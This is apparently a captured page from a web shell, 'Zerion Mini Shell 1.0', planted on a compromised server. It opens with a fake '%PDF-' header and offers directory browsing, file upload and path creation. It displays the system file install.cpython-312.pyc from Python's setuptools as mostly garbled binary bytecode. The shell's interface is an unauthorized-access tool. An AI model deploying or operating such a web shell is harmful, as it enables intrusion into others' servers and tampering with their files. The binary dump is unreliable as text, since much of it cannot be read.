%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/setuptools/command/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/setuptools/command/__pycache__/install.cpython-312.pyc

�


_�d���.�ddlmZddlZddlZddlZddlmcmZddl	Z	ddl
mZmZejZ
Gd�dej�ZejjD�cgc]}|dejvs�|��c}ej ze_ycc}w)�)�DistutilsArgErrorN�)�SetuptoolsDeprecationWarning�SetuptoolsWarningc���eZdZdZej
jddgzZej
jddgzZdd�fdd	�fgZe	e�Z
d
�Zd�Zd�Z
d
�Zed��Zd�Zy)�installz7Use easy_install to install the package, w/dependencies)�old-and-unmanageableNzTry not to use this!)�!single-version-externally-managedNz5used by system package builders to create 'flat' eggsr	r
�install_egg_infoc��y�NT���selfs �</usr/lib/python3/dist-packages/setuptools/command/install.py�<lambda>zinstall.<lambda>����install_scriptsc��yr
rrs rrzinstall.<lambda> rrc��tjddd��tjj	|�d|_d|_y)Nzsetup.py install is deprecated.z�
            Please avoid running ``setup.py`` directly.
            Instead, use pypa/build, pypa/installer or other
            standards-based tools.
            zAhttps://blog.ganssle.io/articles/2021/10/setup-py-deprecated.html)�see_url)r�emit�origr�initialize_options�old_and_unmanageable�!single_version_externally_managedrs rrzinstall.initialize_options$sB��$�)�)�-�
�
X�	
�	
���'�'��-�$(��!�15��.rc���tjj|�|jrd|_y|jr%|js|j
st
d��yyy)NTzAYou must specify --record or --root when building system packages)rr�finalize_options�rootr�recordrrs rrzinstall.finalize_options6sW�����%�%�d�+��9�9�59�D�2�
�
3�
3��9�9�T�[�[�'� ���&1�9�4rc��|js|jrtjj	|�Sd|_d|_y)N�)r rrr�handle_extra_path�	path_file�
extra_dirsrs rr$zinstall.handle_extra_pathAs6���9�9��>�>��<�<�1�1�$�7�7������rc��|js|jrtjj	|�S|jt
j��s tjj	|�y|j�y)N)	rrrr�run�_called_from_setup�inspect�currentframe�do_egg_installrs rr(zinstall.runKs]���$�$��(N�(N��<�<�#�#�D�)�)��&�&�w�';�';�'=�>��L�L���T�"����!rc��|�Fd}tj|�tj�dk(rd}tj|�yt	j
|�}|ddD]f}|dd\}t	j|�}|jjd	d
�}|dk(r|jdk(r�P|d
k(xr|jdk(cSy)a�
        Attempt to detect whether run() was called from setup() or by another
        command.  If called by setup(), the parent caller will be the
        'run_command' method in 'distutils.dist', and *its* caller will be
        the 'run_commands' method.  If called any other way, the
        immediate caller *might* be 'run_command', but it won't have been
        called by 'run_commands'. Return True in that case or if a call stack
        is unavailable. Return False otherwise.
        Nz4Call stack not available. bdist_* commands may fail.�
IronPythonz6For best results, pass -X:Frames to enable call stack.Tr���__name__r#zsetuptools.dist�run_commandzdistutils.dist�run_commands)
rr�platform�python_implementationr*�getouterframes�getframeinfo�	f_globals�get�function)�	run_frame�msg�frames�frame�caller�info�
caller_modules       rr)zinstall._called_from_setupVs�����H�C��"�"�3�'��-�-�/�<�?�N��!�&�&�s�+���'�'�	�2���A�a�[�		Y�E��b�q�	�I�V��'�'��/�D�"�,�,�0�0��R�@�M�� 1�1�d�m�m�}�6T�� �$4�4�X����.�9X�X�		Yrc�.�|jjd�}||jd|j|j��}|j	�d|_|jjtjd��|jd�|jjd�jg}tjr |jdtj�||_|j!d�	�dt_
y)
N�easy_install�x)�argsr r!�.z*.egg�	bdist_eggrF)�show_deprecation)�distribution�get_command_classr r!�ensure_finalized�always_copy_from�
package_index�scan�globr2�get_command_obj�
egg_output�
setuptools�bootstrap_install_from�insertrEr()rrC�cmdrEs    rr,zinstall.do_egg_installus����(�(�:�:�>�J�����������;�;�	
��	����"���	�����t�y�y��1�2�����%��!�!�1�1�+�>�I�I�J���,�,��K�K��:�<�<�=���������'�,0�
�)rN)r1�
__module__�__qualname__�__doc__rr�user_options�boolean_options�new_commands�dict�_ncrrr$r(�staticmethodr)r,rrrrrs���A��<�<�,�,�>�	
�0��L��l�l�2�2��+�6��O�

�.�/�	�-�.��L��|�
�C�6�$	��	"��Y��Y�<1rr)�distutils.errorsrr*rOr4�distutils.command.install�commandrrrR�warningsrr�_install�sub_commandsr]r[)rUs0r�<module>res���.����(�(��F��<�<��~1�d�l�l�~1�F�<�<�,�,����A��g�k�k�0I�C���������s�!B�8B

Zerion Mini Shell 1.0